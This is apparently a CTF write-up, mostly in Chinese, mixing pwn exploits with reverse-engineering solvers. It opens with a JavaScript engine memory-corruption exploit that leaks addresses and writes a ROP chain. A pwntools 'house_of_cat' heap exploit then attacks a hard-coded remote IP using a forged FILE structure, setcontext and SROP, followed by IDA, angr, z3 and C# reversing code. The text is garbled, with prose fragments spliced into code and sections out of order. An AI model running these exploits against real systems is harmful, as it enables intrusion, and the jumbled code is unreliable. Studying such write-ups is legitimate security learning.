data2;var buffer1;var buffer2;a=[0x41414141];buffer1=new ArrayBuffer(0x10);data1=new
DataView(buffer1);buffer2=new ArrayBuffer(0x300);data2=new
DataView(buffer2);a.pop();data1.setUint32(0,0x41414141,true);data2.setUint32(0,0x414141
41,true);a[49]=0x3000;piebase=data1.getUint32(0x58+4,true)*0x100000000+
((data1.getUint32(0x58,true)-0xd1b38)&0xfffff000);print(piebase);data1.setUint32(0x78,
(piebase+0xCDDD8)&0xffffffff,true);libcbase=data2.getUint32(4,true)*0x100000000+data2.g
etUint32(0,true);libcbase=libcbase-
0x9a6d0;data1.setBigUint64(0x78,libcbase+0x229138,true);stackbase=data2.getUint32(4,tru
e)*0x100000000+
(data2.getUint32(0,true))-0x108;print(stackbase);data1.setBigUint64(0x78,stackbase,true
);data2.setBigUint64(0,libcbase+0x0000000000023b6a,true);data2.setBigUint64(8,libcbase+
0x001b45bd,true);data2.setBigUint64(16,libcbase+0x0000000000023b6a+1,true);data2.setBig
Uint64(24,libcbase+0x52290,true);data1.setBigUint64(0x78,libcbase+0x229138,true);eval('
1234');
from pwn import *
# s = process("./house_of_cat")
s = remote("59.110.212.61","34498")
def run(payload):
s.recvuntil('~~~~~~')
s.sendline(payload)
def cmd(choice):
run('CAT | r00tQWBAAAAA$\xff\xff\xff\xffQWXF')
s.recvuntil("choice:\n")
s.sendline(str(choice))
def add(idx,size,buf):
cmd(1)
s.sendlineafter("plz input your cat idx:",str(idx))
s.sendlineafter("plz input your cat size:",str(size))
s.sendafter("plz input your content:",buf)
def free(idx):
cmd(2)
s.sendlineafter("plz input your cat idx:",str(idx))
def show(idx):
cmd(3)
s.sendlineafter("plz input your cat idx:",str(idx))
def edit(idx,buf):
cmd(4)
s.sendlineafter("plz input your cat idx:",str(idx))
s.sendafter("plz input your content:",buf)
def ROL(content, key):
tmp = bin(content)[2:].rjust(64, '0')
return int(tmp[key:] + tmp[:key], 2)
def enc(value,key):
return ROL(value^key,0x11)
run("LOGIN | r00tQWBAAAAAadminQWXF")
add(0,0x418,'A')
add(1,0x418,'A')
free(0)
show(0)
libc = ELF("./libc.so.6")
libc.address = u64(s.recvuntil("\x7f")[-6:]+"\x00\x00")-0x219ce0
success(hex(libc.address))
tls = libc.address - 0x28c0
success(hex(tls))
add(2,0x418,'A')
add(3,0x420,'A')
add(4,0x418,'A')
free(3)
add(5,0x430,'A')
add(6,0x450,'A')
add(7,0x430,'A')
free(2)
payload = p64(libc.address+0x21a0d0)*2+p64(0)+p64(tls+0x30-0x20)
edit(3,payload)
add(15,0x440,'A')
show(3)
s.recvuntil("Context:\n")
heapbase = u64(s.recv(6)+"\x00\x00")-0x290
success(hex(heapbase))
key = heapbase+0x290
success(hex(key))
context.arch='amd64'
gadget = 0x00000000001675b0+libc.address
payload = FileStructure()
payload._lock=libc.address+0x21ba70 #_IO_stdfile_1_lock
io_cookie_jumps = libc.address+0x215b80
payload.vtable=io_cookie_jumps+8*7 #_IO_cookie_read->xsputn
payload = str(payload)[0x10:]
payload += p64(heapbase+0x2460+0x100)+p64(
enc(gadget,key)
)
payload = payload.ljust(0x100,'\x00')
payload += 'A'*8+p64(heapbase+0x2460+0x100)+'A'*0x10+p64(libc.sym['setcontext']+61)
pop_rdi = 0x000000000002a3e5+libc.address
pop_rsi = 0x000000000002be51+libc.address
pop_rdx_rbx = 0x0000000000090529 + libc.address
pop_rax = 0x0000000000045eb0+libc.address
syscall = 0x0000000000091396+libc.address
sig = SigreturnFrame()
sig.rsp = heapbase+0x2460+0x300
sig.rip = pop_rdi+1
payload += str(sig)[0x28:]
payload = payload.ljust(0x300,'\x00')
payload += p64(pop_rdi)+p64(0)+p64(libc.sym['close'])
payload +=
p64(pop_rdi)+p64(heapbase+0x2460+0x400)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(sys
call)
payload +=
p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(heapbase+0x500)+p64(pop_rdx_rbx)+p64(0x100)+p64(0)
+p64(libc.sym['read'])
payload +=
p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heapbase+0x500)+p64(pop_rdx_rbx)+p64(0x100)+p64(0)
+p64(libc.sym['write'])
payload = payload.ljust(0x400)+'./flag\x00'
add(8,0x440,payload)#stderr chunk
add(9,0x430,'A')
free(5)
free(6)
add(10,0x430+0x30,'A'*0x430+p64(0)+p64(0x461))
add(11,0x420,'A') #target
free(6)
add(12,0x450,'A'*0x20+p64(0)+p64(0x19c1))
free(6)
add(13,0x460,'A')
free(8)
Reverse
find_basic
混淆提取
free(11)
payload =
p64(libc.address+0x21a0e0)*2+p64(0)+p64(libc.sym['stderr']-0x20)+p64(0)+p64(0x301)
edit(6,payload)
# gdb.attach(s,'b _IO_cookie_read')
# add(14,0x46f,'1')
cmd(1)
s.sendlineafter("plz input your cat idx:",str(14))
s.sendlineafter("plz input your cat size:",str(0x46f))
# free(0)
s.interactive()
import re
import idautils
import ida_funcs
from pwn import *
elf = ELF("./obf_xx_find")
def disasm_filter(addr):
s = GetDisasm(addr)
if ';' in s:
s = s[0: s.find(";")]
return s.strip()
def is_bound_block(addr):
keylist = ["pushf", "pusha", "call", "call", "popa", "popf", "push", "pushf",
"call", "add", "popf", "jmp"]
first_insn = disasm_filter(addr)
if 'jmp' in first_insn:
addr = int(get_jmp_target(first_insn, ), 16)
for key in keylist:
insn = disasm_filter(addr)
addr = idc.next_head(addr)
if key not in insn:
return False
return True
def is_obf_branch(addr):
keylist = ["pushf", "pusha", "fuck_sub1", "popa", "popf"]
for key in keylist:
insn = disasm_filter(addr)
addr = idc.next_head(addr)
if key not in insn:
return None
return get_jmp_target(disasm_filter(addr))
def is_start_block(start_ea, end_ea):
ea = start_ea
while ea < end_ea:
asm_text = disasm_filter(ea)
if 'cmp' in asm_text and 'l' in asm_text:
return True
ea = idc.next_head(ea)
return False
def get_jmp_target(j, ea = 0):
if '$+' in j:
return hex(int(j.split('$+')[1], 10) + ea)[2:]
if 'sub_' in j:
return j.split('sub_')[1]
elif 'loc_' in j:
return j.split('loc_')[1]
elif 'unk_' in j:
return j.split('unk_')[1]
else:
print("invalid jmp instruction: %s" % j)
return None
def is_subhanlder_start(addr):
keylist = ["cmp", "jnz", "popa", "popf"]
asm_text = disasm_filter(addr)
if ';' in asm_text:
asm_text = asm_text[0: asm_text.find(";")]
code = ''
if not ('cmp' in asm_text and 'l' in asm_text):
return None
code = asm_text
for key in keylist:
insn = disasm_filter(addr)
addr = idc.next_head(addr)
if key not in insn:
return None
if 'h' in code:
code = int(code.split(', ')[1].strip()[0: -1], 16)
else:
code = int(code.split(', ')[1].strip(), 16)
return code
def parser_handler(ea):
real_insns = []
while True:
asm_text = disasm_filter(ea)
if ';' in asm_text:
asm_text = asm_text[0: asm_text.find(";")]
if asm_text[0] == 'j':
target = get_jmp_target(asm_text, ea)
if target != None:
if is_bound_block(int(target, 16)):
return real_insns
if is_obf_branch(int(target, 16)):
jmpname = asm_text.split(' ')[0]
real_insns.append("%x: %s" % (ea, jmpname + ' loc_' +
is_obf_branch(int(target, 16))))
ea = idc.next_head(ea)
continue
if 'call' in asm_text and 'sub_' in asm_text:
print(asm_text)
real_insns.append("call _%x" % get_real_caller(int(asm_text.split("sub_")
[1], 16)))
ea = idc.next_head(ea)
continue
if 'retn' in asm_text:
real_insns = []
real_insns.append("%x: %s" % (ea, asm_text))
ea = idc.next_head(ea)
def analysis_handler_range(start_ea, end_ea):
sub_handlers = {}
ea = start_ea
while ea < end_ea:
code = is_subhanlder_start(ea)
print("test %x" % ea)
if code != None:
print("start ea %x" % ea)
sub_handlers[code] = parser_handler(ea + 7)
ea = idc.next_head(ea)
return sub_handlers
def is_call_handler(ea):
kl = ['pushf', "pusha", "mov", "call", "pop"]
cmd = ''
call_handler = ''
for k in kl:
asm = disasm_filter(ea)
if 'ds:(dword_8C000' in asm:
return None, None
if '[' in asm:
return None, None
if 'l,' in asm:
if 'h' in asm:
asm = asm.replace("h", "")
cmd = int(asm.split(', ')[1], 16)
if 'call' in asm:
if 'sub_' not in asm:
return None, None
call_handler = int(asm.split('sub_')[1], 16)
if k not in asm:
return None, None
ea = idc.next_head(ea)
return cmd, call_handler
def get_real_caller(ea):
f = disasm_filter(ea)
if 'jmp' in f:
return int(get_jmp_target(f), 16)
return ea
def fuck_func(ea, out_asm):
func = ida_funcs.get_func(ea)
ea = func.start_ea
out_asm.append("sub_%x:" % ea)
while ea < func.end_ea:
cmd, handler = is_call_handler(ea)
if cmd != None and handler != None:
if handler not in handler_map:
print("handler not found: %x", handler)
if cmd not in handler_map[handler]:
print("sub handler not found: %x, %x" % (handler, cmd))
out_asm.append("loc_%x:" % ea)
out_asm += handler_map[handler][cmd]
ea += 10
else:
asm = disasm_filter(ea)
out_asm.append("_%x: %s" % (ea, asm))
ea = idc.next_head(ea)
def fuck_block(start, end, out_asm):
locs = scan_sym()
ea = start
while ea < end:
cmd, handler = is_call_handler(ea)
#if "_%x:" % ea in locs:
out_asm.append("%x:" % ea)
if cmd != None and handler != None:
if handler not in handler_map:
print("handler not found: %x", handler)
if cmd not in handler_map[handler]:
print("sub handler not found: %x, %x" % (handler, cmd))
out_asm += handler_map[handler][cmd]
ea += 10
else:
asm = disasm_filter(ea)
out_asm.append("%x: %s" % (ea, asm))
ea = idc.next_head(ea)
def remove_unused(asm_out):
used = []
for i in range(len(asm_out)):
t = asm_out[i] # _46d0: jmp short _46D7
if ('jmp' in t or 'call' in t ) and '_' in t and ': ' in t:
t = t.split(': ')[1]
if '_' in t:
t = t.split("_")[1]
used.append("_" + t.lower())
print(used)
for i in range(len(asm_out)):
t = asm_out[i]
if ':' in t:
addr = t[0: t.index(":")]
if addr.lower() not in used:
asm_out[i] = t[t.index(":") + 1: ]
def process_list(out_asm):
for i in range(len(out_asm)):
out_asm[i] = out_asm[i].replace('loc_', "_")
out_asm[i] = out_asm[i].replace('loc_', "_")
out_asm[i] = out_asm[i].replace('short', "")
out_asm[i] = out_asm[i].replace('ptr', "")
for idx,i in enumerate(out_asm):
if 'getnextinsn_0' in i:
out_asm[idx] = 'call 0x435C'
out_asm[idx + 1] = "mov eax, 0x8C000"
elif 'getnextinsn' in i:
out_asm[idx] = 'call 0x900'
out_asm[idx + 1] = "mov eax, 0x8C000"
if 'jmp _' in i:
name = i.split('jmp _')[1]
if name in elf.plt:
out_asm[idx] = "jmp 0x%x" % elf.plt[name]
rr = "\n".join(out_asm)
rr = re.sub("[0-9a-fA-F]+h", lambda f: "0x" + f.group()[:-1], rr)
rr = re.sub("_[A-F0-9]+", lambda f: f.group().lower(), rr)
print(rr)
def scan_sym():
locs = []
for k in handler_map:
for c in handler_map[k]:
for asm_text in handler_map[k][c]:
r = re.search("_[A-Fa-f0-9]+[^f-zF-Z]", asm_text)
if r :
locs.append(r.group())
return locs
对提取的代码重建后使⽤ angr 分析
ranges = []
handler_map = {}
for ref in idautils.XrefsTo(0x47D6):
ranges.append(ref.frm - 3)
ranges.append(0x5C59B)
ranges = sorted(ranges)
for idx, addr in enumerate(ranges):
if idx == len(ranges) - 1:
break
next_addr = ranges[idx + 1]
print("analysis: %x - %x" % (addr, next_addr))
handler_map[addr] = analysis_handler_range(addr, next_addr)
print(handler_map)
aaa = []
fuck_block(0x317B, 0x435C, aaa)
fuck_block(0x4814, 0x61B7, aaa)
fuck_block(0x750A9, 0x7CB31, aaa)
fuck_block(0xA30, 0xA75, aaa)
process_list(aaa)
import angr
import claripy
base = 0x400000
proj = angr.Project("./hello")
bvs = claripy.BVS("flag", 64 * 8)
state = proj.factory.blank_state(addr=base + 0x11BC)
state.memory.store(0xA00000, bvs)
state.regs.ecx = 0xA00000
@proj.hook(base + 0x3276, length=0)
def skip_check_equals_(state):
state.add_constraints(state.regs.eax == 0)
simgr = proj.factory.simgr(state)
found = simgr.explore(find=base+0x3275)
state = found.found[0]
print(state.regs.al)
easyre
利⽤调试器上的解密算法修补好释放出来的真正可执⾏⽂件后,如果没检测到gdb,则会修正下⾯两个数组line和
col。百度了⼀下,这是⼀个叫数织的⼩游戏,25×25最快5分10秒。
state.add_constraints(state.regs.al == 1)
print(state.solver.eval(bvs, cast_to=bytes))
unsigned char line[25][25] = {
0x06, 0x05, 0x01, 0x03, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x08, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x07, 0x03, 0x01, 0x03, 0x01, 0x04, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x08, 0x01, 0x01, 0x01, 0x02, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x07, 0x01, 0x04, 0x01, 0x03, 0x02, 0x01, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,//
0x06, 0x04,0x04, 0x04,0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x08, 0x01, 0x02, 0x02, 0x01, 0x02,0x01,0x02,0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x08, 0x01, 0x01,0x01, 0x01, 0x03, 0x04, 0x03,0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0A, 0x01, 0x01, 0x01, 0x01, 0x01,0x01, 0x01, 0x01,0x01, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x07, 0x03, 0x01, 0x03, 0x01, 0x04, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x06, 0x01, 0x01, 0x04,0x01,0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00,
0x07, 0x08,0x01, 0x01, 0x01,0x01,0x02, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x08, 0x01,0x01, 0x01,0x01, 0x01,0x01, 0x01,0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0A, 0x02, 0x02, 0x01, 0x02, 0x01, 0x01,0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x05, 0x02, 0x05,0x01, 0x01, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,//
0x06, 0x0C,0x02, 0x01,0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x09, 0x02, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,0x01,0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x07, 0x04, 0x07,0x02,0x01, 0x01,0x01,0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x09, 0x01, 0x01, 0x02, 0x01,0x01, 0x01,0x01,0x01,0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0x0C, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x04, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x04, 0x04, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
unsigned char col[25][25] = {
0x05, 0x05, 0x05, 0x03, 0x01, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,//01
0x0A, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x07, 0x01, 0x01, 0x05, 0x01, 0x03, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x05, 0x01, 0x02,0x04,0x05, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x07, 0x05,0x02, 0x01,0x01,0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00,0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x05, 0x01,0x01,0x01,0x01, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,//06
0x05, 0x01,0x02, 0x06, 0x01, 0x03, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x07, 0x02, 0x02,0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x06, 0x02, 0x05,0x01,0x03, 0x01, 0x01, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x09, 0x01, 0x01, 0x01, 0x01,0x01,0x01, 0x01, 0x03, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x07, 0x02, 0x01,0x01,0x01, 0x01,0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,//11
0x04, 0x02, 0x05, 0x03, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x05, 0x03, 0x05,0x01, 0x01, 0x01,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00,
0x08, 0x01, 0x01,0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x06, 0x01,0x01, 0x01, 0x03, 0x05, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
花了5个半⼩时拼出下⾯的图案。
0x06, 0x01, 0x03, 0x05,0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,//16
0x03, 0x01,0x01,0x03,0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x05, 0x05,0x01,0x02,0x04,0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x04, 0x01, 0x01,0x04,0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x05, 0x01, 0x01, 0x02, 0x04, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x03, 0x05,0x04,0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,//21
0x04, 0x02,0x05,0x04, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x05, 0x05,0x03, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x07, 0x01,0x02,0x01, 0x01, 0x01, 0x04,0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x03, 0x01,0x01, 0x01, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
deeprev
googlectf2021 eldar
GameMaster
需要⽤first反推num,num2,num3
from z3 import *
def solvePart2(ret1, ret2):
# c1 + c2 == ret1
# c1 + c1 + c2 == ret2
c1 = (ret2 - ret1) & 0xff
c2 = (ret1 - c1) & 0xff
return c1, c2
c1, c2 = solvePart2(0x6c, 0xa1)
c3, c4 = solvePart2(0xb1, 0xe5)
part2_dec = bytes([c1, c2, c3, c4]).decode()
print(c1, c2, c3, c4)
print(part2_dec)
def permutePart1(op1, op2):
((c ^ op1) + op2) & 0xff
def rev_permutePart1(op1, op2, chk):
return ((chk - op2) ^ op1) & 0xff
part1_chk = [ 0x70, 0x7c, 0x73, 0x78, 0x6f, 0x27, 0x2a, 0x2c, 0x7f, 0x35, 0x2d, 0x32,
0x37, 0x3b, 0x22, 0x59, 0x53, 0x8e, 0x3d, 0x2a, 0x59, 0x27, 0x2d, 0x29, 0x34, 0x2d,
0x61, 0x32, ]
part1_op1 = [ 0x16, 0x17, 0x10, 0x12, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
0x18, 0x19, 0x24, 0x2c, 0x26, 0x1e, 0x1f, 0x20, 0x20, 0x21, 0x23, 0x27, 0x24, 0x25,
0x26, 0x27,]
part1_op2 = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0x10, 0x11,
0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b ]
assert len(part1_chk) == len(part1_op1) == len(part1_op2)
part1 = []
for i in range(len(part1_chk)):
c = rev_permutePart1(part1_op1[i], part1_op2[i], part1_chk[i])
part1.append(c)
part1_dec = bytes(part1).decode()
print(part1_dec)
print(part1_dec + part2_dec)
private static void Check1(ulong x, ulong y, ulong z, byte[] KeyStream)
{
int num = -1;
for (int i = 0; i < 320; i++)
{
x = (((x >> 29 ^ x >> 28 ^ x >> 25 ^ x >> 23) & 1UL) | x << 1);
y = (((y >> 30 ^ y >> 27) & 1UL) | y << 1);
z = (((z >> 31 ^ z >> 30 ^ z >> 29 ^ z >> 28 ^ z >> 26 ^ z >> 24) &
1UL) | z << 1);
bool flag = i % 8 == 0;
if (flag)
{
num++;
}
KeyStream[num] = (byte)((long)((long)KeyStream[num] << 1) | (long)
((ulong)((uint)((z >> 32 & 1UL & (x >> 30 & 1UL)) ^ (((z >> 32 & 1UL) ^ 1UL) & (y >> 31
& 1UL))))));
}
}
private static void ParseKey(ulong[] L, byte[] Key)
{
for (int i = 0; i < 3; i++)
{
for (int j = 0; j < 4; j++)
{
Key[i * 4 + j] = (byte)(L[i] >> j * 8 & 255UL);
}
}
}
static void Main(string[] args)
{
ulong num = 20;// ulong.Parse(environmentVariable);
ulong num2 = 195;// ulong.Parse(environmentVariable2);
ulong num3 = 168;// ulong.Parse(environmentVariable3);
ulong[] array = new ulong[3];
byte[] array2 = new byte[40];
byte[] array3 = new byte[40];
byte[] array4 = new byte[12];
byte[] first = new byte[]
{101,5,80,213,163,26,59,38,19,6,173,189,198,166,140,183,42,247,223,24,106,20,145,37,24,
7,22,191,110,179,227,5,62,9,13,17,65,22,37,5};
byte[] array5 = new byte[]
{60,100,36,86,51,251,167,108,116,245,207,223,40,103,34,62,22,251,227};
array[0] = num;
array[1] = num2;
array[2] = num3;
Check1(array[0], array[1], array[2], array2);
bool flag2 = first.SequenceEqual(array2);
if (flag2)
{
[y = 868387187, x = 156324965, z = 3131229747]
easyapk
安装后发现界⾯很简单,只有⼀个输⼊框和⼀个按钮,⽤jadx打开后发现就是调⽤so⾥⾯的check函数进⾏判断。
⾥⾯代码看起来很复杂,但实际跟踪后发现其实存在⼤量⽆⽤代码,真正有⽤的其实是调⽤函数sub_544最后的两
个循环,⼀个进⾏字符串替换,⼀个进⾏加密。check函数将加密结果与固定字节⽐较后返回结果。
中间调⽤time取时间,使⽤其中固定的两位参与运算。⽤v146 = (v122 | 0xFFFFFFFE) - (v122 & 0xFFFFFFFE) + 2
(v122 | 1) + 1;代替加1。⽤v143 = (v141 | 0xFFFFFFF7) - (v141 & 0xFFFFFFF7) + 2 (v141 | 8) + 1;代替加8。藏的最
深的是⽤v155 = 2 (v103 | v144) - (v144 ^ *v103);代替了加法。
ParseKey(array, array4);
for (int i = 0; i < array5.Length; i++)
{
array5[i] ^= array4[i % array4.Length];
}
Console.WriteLine("flag{" + Encoding.Default.GetString(array5) + "}");
}
BYTE data[32] = {
0x84, 0xAA, 0x94, 0x5D, 0xA0, 0x24, 0xFA, 0x14, 0x10, 0x02, 0x56, 0x2B, 0x49, 0xDD,
0x9B, 0xB6,
0xD4, 0xEA, 0xEF, 0xAA, 0xC6, 0xF4, 0x8C, 0x4B, 0xC9, 0xB8, 0x7F, 0x09, 0xD2, 0x51,
0xEC, 0xB5
};
Index143 = 0;
*pKeyLen178 = 32;
while (1)
{
pKeyLen145 = pKeyLen178;
if (Index143 >= *pKeyLen145)
break;
Key147 = data;
v182 = Key147 + Index143;
v142 = *(DWORD *)(Key147 + Index143);
v107 = *(DWORD *)(Key147 + Index143 + 4);
v103 = 0xc6ef3720;
for (int i = 0; i < 32; i++)
{
